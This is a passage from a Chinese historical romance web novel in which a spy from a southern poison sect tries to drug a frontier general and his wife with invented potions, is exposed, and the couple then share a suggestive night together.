“南疆有一种奇药,名为‘迷心粉’,”黎音袅缓缓开口,语调平淡,却字字如针,刺向苏木的防线,“据说以数种罕见毒草与蛊虫炼制七七四十九日方成。此粉无色无味,混入饮食之中,人服下后,初时确有头脑清明之感,仿佛一切烦忧皆散,但药效深了,便会神思恍惚,问什么,答什么,心底最深处的秘密,也会一五一十地吐露出来。” 苏木的脸色,一寸寸地白了下去。她紧咬着下唇,身体的颤抖越发明显,连带着藏在身后的手也开始不稳。先前那副温顺恭谦的模样,此刻已然碎裂。 “此粉,确实能治某些‘头痛’,尤其是那些因心中藏了太多事而引起的头痛,不是么?”黎音袅的声音里,带上了一抹冷峭的讥讽。她盯着苏木的眼睛,不放过她任何一丝变化。“苏木,你往这瓶子里倒的,可是‘迷心粉’?” 柴房内,一时之间,只有煤油灯火苗偶尔噼啪一声的轻响,以及苏木越发急促的呼吸声。干草的气味混合着煤油的淡淡味道,弥漫在狭小的空间里,让人有些透不过气。 苏木猛地抬起头,眼中闪过一丝绝望与……狠厉?那情绪一闪而逝,快得让人以为是错觉。“夫人……夫人何出此言?奴婢……奴婢不懂您在说什么。这……这真的只是普通的安神药粉。”她的声音带着哭腔,试图做最后的挣扎,“奴婢对将军,对夫人,绝无二心!” “哦?是么?”黎音袅的唇边勾起一抹弧度,却无半分笑意。“普通药粉,需要这般鬼鬼祟祟,藏在这柴房里配制?普通药粉,能让你在我面前如此失态?” 她向前又逼近半步,两人之间的距离近得几乎能感受到对方的呼吸。“我再问你一次,你究竟是谁?潜入我北疆大营,意欲何为?” 苏木的身体晃了晃,几乎要站立不稳。她手中的瓷瓶,终于因为主人的慌乱而从背后滑落,啪的一声,掉在铺着干草的地上。幸运的是,瓶子并未摔碎,只是那淡粉色的粉末,从瓶口撒出些许,沾染在枯黄的草叶上。 “将军待奴婢恩重如山,奴婢怎会……”苏木的声音发颤,眼泪终于忍不住滚落下来,划过她苍白的脸颊,“夫人明鉴,奴婢若有歹心,天打雷劈!” “恩重如山?”黎音袅冷笑一声,“是利用他,还是真的感激他?你手腕上的新月标记,我可还记得清楚。蝮蛇窟出来的人,哪个不是心狠手辣,精通毒蛊之辈?你告诉我,一个从蝮蛇窟九死一生出来的人,会甘心在北疆大营里做一个端茶倒水的婢女?” 这话一出,苏木像是被抽走了全身的力气,眼神中的光彩迅速黯淡下去。她看着黎音袅,嘴唇翕动了几下,却一个字也说不出来。那道新月疤痕,是她无法辩驳的印记。 黎音袅见她如此,心中反而更加警惕。她不相信苏木会这么轻易认输。“你深夜在此调配‘迷心粉’,是想用在谁身上?将军?还是我?”她俯身,拾起那个小瓷瓶,放在鼻尖下轻轻一嗅,随即皱起了眉头。这气味,与她曾在一本南疆异物志上读到的描述,竟有几分相似,只是似乎还夹杂了些别的。 “奴婢……奴婢没有……”苏木的声音细若蚊蚋,带着浓浓的鼻音。 “没有?”黎音袅将瓷瓶举到苏木眼前,“那你告诉我,这究竟是什么!别再用那些治头痛的谎话来搪塞我。我的耐心,是有限度的。” 她顿了顿,语气中透出不容置喙的决绝:“苏木,看来你是不见棺材不掉泪。你若不说实话,我便只能将你交给刑房,让他们用北疆的法子,撬开你的嘴了。” 提及刑房,苏木的身体猛地一颤,眼中终于露出了真正的恐惧。北疆军中的刑罚,素来以残酷闻名,便是铁打的汉子也熬不住。 柴房外的风声,似乎更紧了些,呜呜咽咽,像是谁在哭泣。 黎音袅静静地看着她,等待着她的回答。手中的煤油灯,将她的脸映照得一半光明,一半阴影。 苏木深吸一口气,像是下定了某种决心,她抬起头,直视着黎音袅:“夫人,奴婢……奴婢承认,这不是普通的安神药。” 她终于松口了。 黎音袅没有说话,只是用眼神示意她继续。 “这……这确实是南疆的一种秘药,但……并非‘迷心粉’。”苏木的声音依旧有些颤抖,但比方才镇定了些许,“它……它真正的名字,叫做‘缠梦引’。” “缠梦引?”黎音袅重复了一遍这个陌生的名字,心中疑惑更甚。 苏木低下头,避开黎音袅审视的目光:“是,缠梦引。它……它能让人在梦中,见到自己最思念的人。”她说到这里,声音又带上了几分哽咽,“奴婢……奴婢只是太想家了。” 黎音袅看着她,心中念头飞转。这个解释,听起来似乎合情合理,却又透着一丝古怪。她捏着瓷瓶的手指,微微收紧。 “是么。”黎音袅将瓷瓶收回袖中,淡淡道,“既然如此,明日,你便随我出营一趟吧。” 苏木猛地抬头,眼中满是错愕。 第127章准备下药 夜风卷着沙粒,细细密密地拍打在帐幕上,发出沙沙的轻响。黎音袅独自坐在案前,指尖捻着那个从小瓷瓶中倾倒出的香粉。前日苏木调配此物时,她便已起了疑心,此刻细嗅,那若有似无的甜腻气息,比苏木所言的“安神”,似乎多了几分说不清道不明的诡异。 帐帘微动,江令舟解下沉重的铠甲,带着一身风雪与硝烟的气息走了进来。他一眼便看见黎音袅对着那青瓷瓶出神,眉宇间凝着思索,遂走上前,温热的大手覆盖住她微凉的指尖:“夜深了,还在想那个丫头的事?” 黎音袅抬眼,烛火在他深邃的瞳仁里跳跃,碎成点点金箔。“你不觉得奇怪么?”她将手中的香粉向他递近些许,“这香粉,我方才仔细辨认过,里面掺了西域的‘迷心草’。” 江令舟的眉头几不可察地蹙了一下,接过她手中的瓷瓶,放在鼻尖轻嗅,片刻后,神色沉凝下来。“迷心草?”他重复道,语气中带着一丝冷意,“此物能让人神思恍惚,意志薄弱。苏木一个自称在北疆长大的牧民之女,如何会懂得这种西域的禁药?” “这便是我不解之处。”黎音袅的声音清冷,“她说这是‘缠梦引’,思乡心切才调配。可蝮蛇窟出来的人,手腕上带着新月标记,精通毒蛊,会这般多愁善感?”她顿了顿,眼中闪过一丝锐利,“她所谓的‘家’,又在何方?是茫茫草原,还是阴暗的蝮蛇窟?” 江令舟将瓷瓶重重搁在案上,发出叩的一声轻响,打破了帐内的静默。他沉声道:“蝮蛇窟调教出来的人,心性诡谲,断不可信。她留在你身边,始终是个隐患。”他伸手将黎音袅揽入怀中,下巴抵着她的发顶,鼻息间是雪松与硝烟交织的熟悉气味,带着令人安心的暖意。 “明日我便派人,将她送去后方的医帐。”江令舟的声音带着不容商量的决断,“那里人多眼杂,她也翻不起什么风浪。你身边,不宜再留这种底细不明之人。” “送去医帐?”黎音袅在他怀中微微仰头,看着他线条分明的下颌,“就这么轻易放过她?我们尚不知她潜入大营,接近我们,究竟有何图谋。若她背后还有同党,这般打草惊蛇,岂非……” “音袅,”江令舟打断她,语气温和却坚定,“我知道你心思缜密,不愿放过任何疑点。但眼下军情复杂,不宜节外生枝。她的目的,我会派人暗中详查。你只需安好,不必为此等小事忧心。” 黎音袅还要再说,帐外忽有极轻微的脚步声一掠而过,若非她与江令舟皆是习武之人,耳力过人,几乎难以察觉。那脚步声轻浅,却又带着一丝刻意的收敛,不似寻常巡夜的兵士。 黎音袅心中一凛,刚要开口示警,江令舟已然察觉。他眸光一瞬间变得锐利如鹰,但几乎是同时,他低下头,准确地封住了她的唇。 这个吻,带着不容分说的强势,也带着一丝安抚的温柔。他的气息将她全然包裹,唇齿间的碾转厮磨,让她瞬间忘记了帐外的异动,也忘记了方才的争执。 直到她气息渐促,他才稍稍退开些许,额头抵着她的,声音低沉而沙哑,带着一丝警告的意味:“先顾好自己……”他深邃的眼眸紧紧锁着她,仿佛要将她吸进去一般。 帐外再次恢复了寂静,只有风沙依旧不知疲倦地敲打着。江令舟缓缓直起身,松开了揽着她的手臂,若无其事地走到帐边,掀开一条小缝,迅速往外扫了一眼,随即放下。 黎音袅看着他的背影,心头疑云丛生。方才那脚步声,绝非偶然。他如此迅速地以吻封缄,是不想让她出声惊动外面的人,还是……不想让她追问下去? 她伸出手,指尖轻轻碰了碰依旧残留着他温度的唇,又低头看向桌案上那个小小的青瓷瓶。甜腻的香气,与他身上阳刚的硝烟雪松气息混杂在一起,形成了一种奇异而危险的氛围。 苏木想要的,究竟是什么? 江令舟转过身,神色已经恢复如常,仿佛方才的一切都未曾发生。“夜深了,早些歇息吧。”他走到她身边,牵起她的手,“明日,还有一场硬仗。” 他的掌心依旧温热,带着惯有的力量,但黎音袅却觉得,有什么东西,在暗夜中悄然改变。 她没有再多问,只是轻轻“嗯”了一声。 帐后,苏木的身影几乎与黑暗融为一体。 指甲深深嵌入掌心,传来阵阵刺痛,却远不及她此刻心头翻涌的怨毒。她死死盯着前方不远处,帅帐的帘幕被一只骨节分明的手掀开,江令舟高大的身影出现,他侧身,替紧随其后的黎音袅细致地拢了拢披风。那动作,轻柔得如同对待易碎的珍宝。 那披风,还是上次她央求他许久,他才勉强允诺会考虑添置的银狐裘。如今,却披在了那个女人的身上。苏木胸口一阵气血翻涌,喉间泛起腥甜。她强压下去,眼底的火焰却愈烧愈旺。 夜色渐深,寒意更甚。苏木悄无声息地潜回自己的住处,从贴身衣物中取出一个更为隐蔽的油纸包。月光透过窗棂,照亮她脸上扭曲的坚定。 子时,万籁俱寂。苏木换上一身深色夜行衣,如鬼魅般穿梭在营帐之间,熟门熟路地摸进了平日里鲜少有人夜间踏足的后厨。残余的灶火明明灭灭,映着她脸上莫测的神情。她寻到一只不起眼的药罐,平日里是给伤兵们熬制清火凉茶所用。 “呵……”她从齿缝间挤出一声冷笑。 她打开那个油纸包,里面是比先前迷心粉颜色更深的粉末,散发着一股极淡的、混合了草木与腐败的奇异气味。她小心翼翼地将药尽数倒入药罐中,拿起一旁的铜勺,在罐底细细搅动,发出轻微而规律的“沙沙”声。 “这蛊虫药无色无味,一旦溶于水中,便是大罗金仙也难察觉。”她对着罐中幽深的水面,声音压抑而兴奋,仿佛已经预见了黎音袅凄惨的下场,“饮下之后,欲罢不能,见到男的就……江令舟,到那时,我看你还会不会怜惜她!” 第128章小伎俩 她搅动得越发用力,脸上浮现一抹森然笑意,在摇曳的火光下显得尤为可怖。太过专注于自己的谋划与怨恨,她丝毫未曾察觉,在她转身取水瓢倾倒些清水入罐,以掩盖水位变化时,衣角微微扬起,一个同样用油纸包裹的小巧药包从袖口滑落,悄无声息地掉落在灶台边的地面上。 苏木仔细清理了所有痕迹,又对着药罐审视良久,确认天衣无缝,这才满意地舒出一口气。 她最后望了一眼那沉寂的药罐,仿佛在欣赏一件完美的艺术品,随后迅速隐入黑暗。 她走后不久,一队巡夜的兵士打着哈欠经过伙房。其中一人眼尖,借着火把的光芒瞥见了灶台边的异物。“咦?”他停下脚步,弯腰拾起那个小小的油纸包 “怎么了,老王?”同伴问了一句。 老王掂了掂手里的药包,触手柔软,似乎是些粉末。“没什么,不知是谁掉的药包。许是哪个伤兵不小心落下的。”他随手将药包塞入怀中,“等天亮了交给军医看看。” 几人嘟囔着走远,夜风吹过,伙房再次恢复了死寂。那个藏着致命秘密的药罐,在黑暗中静静等待着黎明的到来。 次日清晨,天刚蒙蒙亮。将军营帐外,一切如常。 苏木早已潜伏在不远处的一根廊柱之后,一夜未眠让她双眼布满血丝,但精神却异常亢奋。她紧紧盯着通往将军营帐外的小路,心脏在胸腔内不受控制地狂跳。 时间一点一滴过去,每一息都像在煎熬。她的手心开始渗出冷汗,黏腻的感觉让她烦躁不安。 就在她几乎要按捺不住心中的焦灼时,一个熟悉的身影终于出现在视野中。李副将的夫人李氏,穿着一身素雅的衣裙,亲手捧着一个青瓷盏,上面盖着精致的盖子,正步履沉稳地朝着帅帐方向走来。 苏木的呼吸瞬间凝滞。 她的视线死死锁住李氏手中的托盘,那青瓷盏在晨光下泛着温润的光泽,却在她眼中比任何利刃都要致命。李氏脸上的笑容温婉恭敬,丝毫不知自己手中捧着的是何等凶险之物。 苏木躲在廊柱后,身体微微颤抖,指尖因过度用力而发白,冷汗已经浸湿了她的后背。 廊柱之后,苏木几乎将自己的指甲掐进掌心。她死死盯着李氏的背影,看着她一步步捧着那青瓷盏走向帅帐。不对,方向不对!黎音袅的营帐在东侧,帅帐居中,李氏怎会……怎会往帅帐去?! 苏木的牙齿开始打颤,一种不祥的预感攫住了她。她眼睁睁看着李氏的身影消失在帅帐厚重的帘幕之后,脑中一片空白。完了……她的计划…… 冷汗,比之前任何时候都要汹涌,瞬间浸透了她的衣衫。她想冲出去,想呼喊,却像被无形的手扼住了喉咙,动弹不得,也发不出半点声音。 帅帐之内,气氛沉静。 江令舟刚处理完一份军报,便听亲兵通传,李副将的夫人李氏求见。 “让她进来。”他搁下笔,端坐如山。 李氏低眉顺眼地走了进来,手中捧着一个托盘,上面正是那只青瓷盏。“妾身见过将军。”她的声音带着不易察觉的微颤。 “李夫人不必多礼。”江令舟抬眼,“何事?” 李氏努力挤出一个温婉的笑容,将托盘呈上前:“将军连日操劳,我家夫君与妾身心中感念。这是妾身特意煮的清茶,愿为将军解乏。我家夫君言,将军与他共饮此茶,愿我北疆太平,早日凯旋。” 她顿了顿,从袖中取出一个小巧的蜡丸,双手捧着:“苏木姑娘此前寻得一枚养生丸,说是于将军身体有益,特让妾身一并转呈,请将军放入茶中同饮。” “苏木姑娘有心了。”他淡淡说道,示意亲兵接过茶盏。 李氏却抢先一步,亲自上前,在茶盏旁小心翼翼地打开蜡丸,将里面包裹的粉末状药丸拈起,细细碾碎,投入那琥珀色的茶汤之中。 青瓷盏内的茶水微微泛起些许细密的白沫,一股奇异的幽香随之弥散开来。 江令舟的眉峰几不可见地一蹙。 这异香…… 他的余光,在此时敏锐地捕捉到帐门外一闪而过、慌乱躲藏的衣角。虽然只是一瞬,但他认得,那是苏木的服色。 “将军,请用茶。”李氏垂着头,声音更低了,双手奉上青瓷盏。她的指尖因为用力而有些发白,茶托在她手中微微晃动。 江令舟接过青瓷盏,指腹摩挲着微凉的瓷壁。他抬眸,看向李氏,她的额角渗着细汗,脸色也有些苍白。 “夫人费心。”他将茶盏举至唇边,喉结微微滚动了一下,似乎饮了一口。 李氏见状,像是松了一大口气,紧绷的肩膀略微放松下来:“将军慢用,妾身……妾身就不打扰将军了。”她仓皇行了一礼,几乎是落荒而逃般退出了帅帐。 她没有察觉,江令舟举杯之时,茶水仅仅沾湿了他的嘴唇,实际入口的,不及星点。 待李氏的身影彻底消失在帐外,江令舟脸上的平和瞬间褪去,取而代之的是一片寒霜。 他霍然起身,端着那青瓷盏,快步走到帐内一角的铜盆边。那盆中原本盛着小半盆清水,是他用来净手的。 没有丝毫犹豫,江令舟手腕一斜,将盏中茶水尽数倾倒入铜盆。 “哗啦——” 琥珀色的茶汤甫一接触盆中的清水,异变陡生! 原本清澈的水,仿佛滴入了浓墨,迅速开始变色、翻滚。不过眨眼之间,整盆水都化作了一种诡异至极的靛蓝色,深不见底,散发着不祥的气息。那股异香,也因此显得更加浓烈,甚至带上了一丝甜腻的腥气。 他伸出手指,在盆沿上轻轻一点,那靛蓝色的毒水在他指尖留下妖异的痕迹。 廊柱后,苏木透过帐幕的缝隙,隐约看到江令舟将茶水倒入盆中的动作,虽然看不真切后续,但她知道,一切都完了。他没有喝!他发现了! 一股巨大的恐惧与绝望淹没了她。她想逃,双腿却像灌了铅一般沉重。 帅帐内,江令舟盯着那盆毒水,眼神冷冽如冰。 他缓缓直起身,朝着帐门方向走去。 第129章被识破 暮色四合,残阳如血,浸染了江令舟营帐的每一个角落。他正审阅着军报,忽觉心口一阵莫名的灼烧,那痛楚来得迅猛,让他猝不及防,手中狼毫倏然坠落,在宣纸上洇开一团墨迹。他踉跄着,伸出手臂想扶住桌案,指尖却只堪堪擦过冰冷的木质边缘。 他没喝怎么有中毒的迹象? “将军?” 一道甜腻婉转,柔媚入骨的声音自身后响起。江令舟费力转头,只见苏木掀开了厚重的帐帘,款步而入。她今日穿着一袭藕荷色罗裙,裙摆拂动间,露出一双绣着缠枝莲纹样的精致绣鞋。那莲花图案,在昏暗的光线下,显得格外妖异。 “将军可是身子不适?”苏木含笑走近,语声关切,一双水盈盈的眸子紧锁着他,伸出纤纤素手,便要来搀扶他的腰。那姿态,亲昵自然,仿佛两人之间并无任何隔阂。 帐外,巡夜梆子声“梆…梆…梆…”单调而规律地响起,一下下,敲在江令舟紧绷的神经上。他脑中轰然一响,猛地甩开苏木即将触碰到他的手,反手抽出腰间佩刀。寒光一闪,“嗤啦”一声,锋利的刀刃划过他的左手掌心,鲜血霎时涌出,几滴滚烫的血珠甚至溅到了苏木雪白的皓腕与微张的粉脸上。 “滚!”江令舟的声音因剧痛与竭力压制的某种东西而沙哑不堪,眼神凶狠如欲噬人的孤狼。 苏木被这突如其来的变故惊得花容失色,尖叫一声,捂着脸连连后退,撞翻了案几旁的火盆架,炭火噼啪作响,险些引燃了地上的皮毛毯子。“将军,您……您这是做什么?……只是关心您……”她声音发颤,带着浓浓的委屈与不解,泪水在眼眶里打转,楚楚可怜。 江令舟却对她的表演视若无睹。他的脑海里,清晰地回荡着黎音袅昨夜在他耳畔低语的话语:“我查到些眉目,那缠枝莲的纹样,是南疆毒蛊门特有的标记,极为隐秘。”那时他还不甚在意,此刻想来,却如惊雷贯耳。他死死盯着苏木鞋尖上那繁复的莲花,每一个花瓣,每一条藤蔓,都透着阴冷与诡谲。 “关心我?”江令舟冷笑,掌心的剧痛让他混沌的头脑清醒了几分,那股自心口蔓延的灼烧感却愈发强烈,仿佛有无数细小的虫蚁在啃噬他的五脏六腑。“苏木,你当真以为我江令舟是这么好糊弄的?” 苏木闻言,娇躯一震,脸上的惊恐与委屈瞬间凝固,随即又换上了一副茫然的神情:“将军何出此言?……听不明白。”她悄然后退,试图与江令舟拉开距离,眼神却不由自主地瞟向他鲜血淋漓的左手,以及他身后那把出鞘的佩刀。 “听不明白?”江令舟一步步逼近,佩刀刀尖斜指地面,拖曳出一道寒光。“你脚上这缠枝莲,是何来历,需要我提醒你吗?”他每一个字都像是从牙缝里挤出来的,带着彻骨的寒意。 苏木的脸色终于变了,最后一丝血色也从她脸上褪去,变得惨白如纸。“将军……您……您在说什么莲花?不过是觉得这花样子好看,便绣在了鞋上,难道……难道这也有什么忌讳不成?”她还在狡辩,声音却已不复方才的镇定与甜腻,反而透着一丝不易察觉的慌乱。 “还在装蒜!”江令舟厉声喝道,“毒蛊门的人,潜伏在我身边,究竟有何图谋?说!”他此刻无比庆幸黎音袅的敏锐与细心,若非她提前示警,自己恐怕早已着了这女人的道。音袅……想到她,他心中便涌起一股暖流,也更坚定了他要揪出内鬼的决心。 苏木见他戳破了自己的身份,索性也不再伪装,脸上的柔弱哀戚之色尽数褪去,取而代之的是一种阴冷的怨毒:“江令舟,你既然已经知道了,何必多问?成王败寇罢了。”她的声音也变得尖细起来,与方才的甜美判若两人。 “成王败寇?”江令舟嗤笑,“就凭你们这些见不得光的手段,也配谈成败?说,是谁派你来的?你们的目的到底是什么?”心口的灼痛越发剧烈,他额上渗出细密的汗珠,但他强撑着,不让自己露出一丝一毫的颓势。他知道,此刻他若倒下,便再无翻盘的可能。 苏木眼中闪过一丝得意:“将军现在才问,不觉得太晚了吗?你以为,你此刻还能站着与我说话,是因为你意志过人?”她轻笑起来,笑声尖锐刺耳,“方才帐外风大,为将军添茶时,不小心落了些‘家乡特产’的凝香散进去,那可是能让铁石心肠的硬汉也化为绕指柔的好东西。算算时辰,药效也该发作了。” 江令舟心中一凛,暗道不好。难怪那灼烧感如此怪异,竟非寻常毒药。他能感觉到自己的身体越来越热,四肢百骸仿佛都浸泡在滚水中,连呼吸都带着灼人的气息。他咬紧牙关,将左手的伤口再次用力一握,试图用更剧烈的疼痛来保持清醒。 “你以为,这点伎俩就能奈我何?”江令舟低吼,眼神却依旧锐利如鹰,“我江令舟征战沙场多年,什么阴谋诡计没有见过?你们毒蛊门,当真以为能在我眼皮子底下翻起什么风浪?”他的思绪飞转,黎音袅昨夜不仅提到了缠枝莲,还说起毒蛊门擅用情蛊与迷药,中招者往往会神志不清,任人摆布。 苏木见他仍能强撑,眼中闪过一丝讶异,随即又冷笑道:“嘴硬罢了。江令舟,你很快就会知道,什么是求生不得,求死不能。届时,不需我多问,你自然会把所有秘密都说出来。”她向前一步,眼神中带着一丝贪婪与势在必得,“只要你乖乖听话,待事成之后,我或许可以向上面求情,留你一条……” “住口!”江令舟猛然打断她,“你以为黎音袅会坐视不理吗?她早就看穿了你们的把戏!你们毒蛊门的每一步,都在她的算计之中!”他故意抬高声音,既是说给苏木听,也是在给自己打气。他相信黎音袅,相信她的智慧与能力。 苏木听到“黎音袅”三个字,脸色骤然一变,眼中射出嫉恨的光芒:“又是那个女人!她算什么东西!一个靠着家世耀武扬威的长公主罢了!江令舟,你竟会为了她,忤逆‘那一位’的意思?”她的声音变得歇斯底里。 “那一位?”江令舟敏锐地捕捉到这个词,“他是谁?” 苏木却突然冷静下来,嘴角勾起一抹诡异的笑容:“将军不必套我的话。你很快就会见到他的。不过,是在你彻底臣服之后。”她似乎笃定江令舟已是瓮中之鳖,不再急于一时。 就在此时,帐外传来一阵细微的脚步声,以及兵刃甲叶碰撞的轻响。苏木脸色微变,侧耳倾听。 江令舟也听到了,他心中一动,难道是…… 苏木眼神一狠,似乎下定了某种决心:“看来,有人来打扰我们的‘好事’了。江令舟,算你运气好。不过,你别得意太早,凝香散的滋味,够你受的。我们,后会有期!”她话音未落,身形一晃,竟如鬼魅般向帐篷的另一侧出口掠去,掀开帘帐,身影瞬间消失在夜色之中。 江令舟想要追赶,但药力上涌,他只觉一阵天旋地转,膝盖一软,单膝跪倒在地,佩刀“哐当”一声掉落在旁。他用尽最后一丝力气,撑住地面,不让自己完全倒下。 帐帘被猛地掀开,一道劲风卷了进来。 第130章战栗 帐帘掀开,果然是黎音袅。 她一身素色衣裙,与这军帐中的肃杀气氛格格不入,却又奇异地带来一丝安宁。只是,这安宁对此刻的江令舟而言,无异于火上浇油。 帐中温度骤然拔高,汗水浸湿了江令舟额前的碎发,紧贴着他滚烫的皮肤。他勉力抬眼,视线因药力而模糊,只能捕捉到黎音袅一个朦胧的轮廓。苏木那张得意而扭曲的脸,还有那句“凝香散的滋味,够你受的”犹在耳边回响。这药,果然霸道。 “你……”他喉咙干涩,几乎发不出声音。体内的热浪一波接一波,冲刷着他的理智。他不能让她靠近,尤其是在这种时候。 黎音袅快步上前,裙摆拂过冰冷的地面,带起微不可察的风声。她看见了他掌心的血,那是他为了保持清醒自残的伤口,此刻血肉模糊。 江令舟猛地伸出手,想要推开她,却在触碰到她衣袖的刹那失了力气,反而像是抓住了救命稻草。他拽住了她的手腕,掌心的温热与血污瞬间染红了她月白色的袖口。“别碰我。”他低吼,声音沙哑得如同被砂纸磨过,瞳孔因极力克制而泛着骇人的暗红。 他想,自己此刻的模样一定狼狈不堪,甚至狰狞。他不想让她看见。更不想在她面前失控。 黎音袅没有退缩。她反手扣住他的后颈,力道不轻不重,却带着一种不容抗拒的意味。指尖的微凉透过发根,让他混沌的头脑有了一瞬间的清明。 “别动。”她的声音很近,带着一种奇异的镇定。 随即,一股清冽的草药香气传来,驱散了些许帐内因凝香散而起的甜腻气息。黎音袅另一只手,正拿着一瓶金疮药,小心地将药粉敷在他鲜血淋漓的掌心。 药粉带来的些微刺痛,反倒让江令舟精神一振。他看着她垂下的眼睫,在摇曳的烛火下投下淡淡的阴影。她神情专注,仿佛只是在处理一道寻常的伤口,而非面对一个中了烈性迷药,随时可能失控的男人。 “我信你。” 三个字,轻飘飘的,却像巨石投入深潭,在他心湖中砸出滔天巨浪。他信她,可她也信他?信他能在这药物的控制下,依旧是那个江令舟? 江令舟身体里的每一处都在叫嚣,都在渴望。那股邪火越烧越旺,几乎要将他的意志焚烧殆尽。他甚至能感觉到血管中血液奔流的声响,心脏在胸腔里狂跳,咚咚咚,像是要挣脱束缚。 她的气息,混着清苦的草药香,一丝丝一缕缕地涌入他的鼻端。这香气非但没有压制住那股邪火,反而像是催化剂,让他更加焦躁难耐。昨夜她冷静分析毒蛊门计策时的模样,那些坚定的承诺,此刻如潮水般漫过他的耳畔。 “信我?”江令舟忽然低低地笑了起来,笑声中带着几分自嘲,几分压抑的痛苦,还有几分连他自己都分辨不清的复杂情绪。“音袅……” 他抬起那只被上了药的手,指尖颤抖,却执拗地勾向她腰间的衣带。那条绣着缠枝莲纹样的衣带,与她昨夜提及的缠枝莲毒药同名,此刻在他眼中,却比任何毒药都更具诱惑。 “音袅可知,”他声音压得更低,几乎是在她耳边呢喃,“你比这凝香散,更让我……失控。” 他的动作很慢,带着孤注一掷的意味。只要她稍作反抗,他或许就能借力将她推开,保全两人最后的体面。 然而,黎音袅没有动。她只是静静地看着他,任由他粗糙的指尖扯松了她的衣带。帐内的空气仿佛凝固了,只剩下两人交织的呼吸,以及江令舟体内越来越无法忽视的灼热。 他内心深处一个声音在嘶吼:推开她!另一个声音却在引诱:她不躲,她信你…… 就在江令舟几乎要被这矛盾撕裂的瞬间,帐外突然传来一阵急促的脚步声,以及甲叶碰撞的轻响。 “将军!您在里面吗?末将有要事禀报!”是副将周勇的声音,带着几分焦急。 江令舟浑身一僵,那股刚刚占据上风的欲望,被这突如其来的声音惊得退却了几分,但随之而来的是更深的恐慌。若是让周勇撞见眼下的情景……他不敢想。 他猛地抬头看向黎音袅,想让她快走,或是躲起来。 黎音袅的反应却出乎他的意料。她脸上没有丝毫慌乱,甚至连眉梢都未曾动一下。在周勇的声音再次响起,甚至能听到他手按在帐帘上的摩擦声时,黎音袅动了。 她迅速转身,动作干净利落,反手便将帐门内侧的系带死死扣紧,将那道通往外界的光亮与声音彻底隔绝。 咔哒一声轻响,帐门落锁。 江令舟怔住了。他看着她的背影,一时之间,竟不知该作何反应。她……这是何意? 月光透过毡帐顶端的缝隙,以及帐壁上不易察觉的针孔,投下几缕微弱的光芒。这些光芒与帐内昏黄的烛火交织在一起,勉强勾勒出两人的轮廓。他们的影子在粗糙的帐壁上交叠、晃动,织出奇异而暧昧的金色纹路。 帐外,周勇的声音透着疑惑:“将军?”他又试探着叫了一声,得不到回应,似乎有些犹豫,但军情紧急,他又不敢擅自闯入。 帐内,江令舟能清晰地听到自己擂鼓般的心跳声。黎音袅转过身,重新面对他。她的神情在明明灭灭的光线下有些模糊,但那双眸子,却亮得惊人。 “你……”江令舟刚说出一个字,便被她打断。 “将军,”黎音袅的声音平静无波,却带着不容置喙的力量,“凝香散的药力,还能撑多久?” 她不问他为何会中招,也不问苏木的下落,单刀直入,直指核心。 江令舟苦笑:“我若知道,又岂会如此狼狈。”他感觉自己的身体越来越沉,意识也开始出现断片。苏木说过,这药效会让人求生不得,求死不能。他现在有些体会到了。 黎音袅缓缓走近,每一步都像是踩在他的心尖上。“江令舟,”她叫他的名字,一字一顿,“看着我。” 他依言抬起头。 “你信我一次,我也信你一次。”她伸出手,轻轻覆上他滚烫的额头,“现在,你要做的,不是对抗它,而是……引导它。” “引导?”江令舟的脑子有些转不过弯,“如何引导?”这邪火如何引导?引导至何处? 黎音袅没有直接回答,她的指尖顺着他的眉骨滑下,带着一丝清凉,却又点燃了更深的热度。“你的意志,远比你想象的要强大。毒蛊门的手段,无非是乱人心智。心若不乱,药力自会寻出路。” “出路……”江令舟喃喃自语,眼神迷离。他体内的灼热几乎要将他融化。 黎音袅俯身,靠近他的耳畔,声音轻柔却充满了蛊惑:“将军征战沙场,难道连这点小小的挑战都应付不了么?” 她的气息喷在他的耳廓,激起一阵战栗。 帐外的周勇似乎还在徘徊,细碎的脚步声断断续续。 江令舟闭上眼,再睁开时,那暗红的瞳孔中,似乎多了一丝清明,也多了一分决绝。他不再推拒,也不再逃避。 他伸手,这一次,是紧紧抓住了她的手。两人各自坦诚相待,无暇回应营帐之外的周勇。 帐内无言。 周勇只能识趣的离开,找李副将商量对策。 第131章 久违的温存 晨光熹微,帐内却不显清冷。 黎音袅醒转,毡帐顶端那几缕光线,斜斜切进来,恰好落在江令舟的肩线,镀上一层浅淡金边。他的手指,仍旧轻轻扣着她的手腕,温热的指腹无意识地摩挲着腕间那道淡青色的旧疤。 三年前,她为他挡箭,留下了这痕迹。 昨夜他低哑的嗓音在耳畔回响,“别再冒险”,那四个字伴随着他眼底翻涌的暗色,此刻想来,黎音袅只觉耳尖一阵阵发烫。她试图悄悄抽回手,却惊动了他。 “醒了?”江令舟的声音带着初醒的沙哑,眼未全睁,指尖却极有意识地顺着她的发尾滑落,带来细微的痒。他稍稍侧过脸,呼吸拂过她的颈侧。 黎音袅“嗯”了一声,声音细弱。 “今日要去巡视前军,”他顿了顿,声线逐渐清明,“可愿同去?” 她仰头看他。晨光里,他瞳孔微微收缩,清晰映出她泛红的脸颊。她能感觉到自己的心跳,一下,又一下,撞击着胸腔。这算什么?邀约?还是……试探? 她正要开口,帐外忽然传来周勇刻意的咳嗽声,打破了这片刻的宁静。 “咳嗯!” 黎音袅浑身一僵,如同被针扎了一般,猛地推开他,几乎是手脚并用地向后挪了挪,拉开距离。耳尖红得几乎要滴出血来,她甚至不敢去看江令舟的表情。 他怎么会在外面?他听到了什么? 江令舟被她推得微微一顿,随即低低笑出声,那笑声在安静的帐内显得格外清晰。他长臂一伸,不容她躲闪,便将人重新拽入怀中,唇轻轻落在她的发顶。 “慌什么,”他贴着她的发丝,声音含笑,“再躺片刻。” “不行!”黎音袅压低了声音,带着急切,“周副将……周副将在外面!”她挣扎着,想从他怀里脱出,“将军,快放开我!这、这成何体统!” 她心中乱成一团麻。昨夜之事,本就荒唐至极,若再被人撞见眼下这般情景,她还有何面目在军中立足? 江令舟的臂膀却收得更紧了些,他似乎很享受她此刻的慌乱。“体统?”他轻哼一声,带着几分戏谑,“昨夜你默认将帐门落锁时,可曾想过体统?” 黎音袅的脸颊瞬间烧得通红,辩解道:“昨夜情况特殊!凝香散药性猛烈,我也是情急之下……”她声音渐弱,是啊,情急之下,然后呢?然后他们便在这帐内,共度了一夜。 原本就是夫妻但是她总是过于含蓄。 “将军!”帐外,周勇的声音再次响起,这次清晰了许多,带着几分试探和不易察觉的焦急,“您醒了吗?末将周勇,有军情要报。” 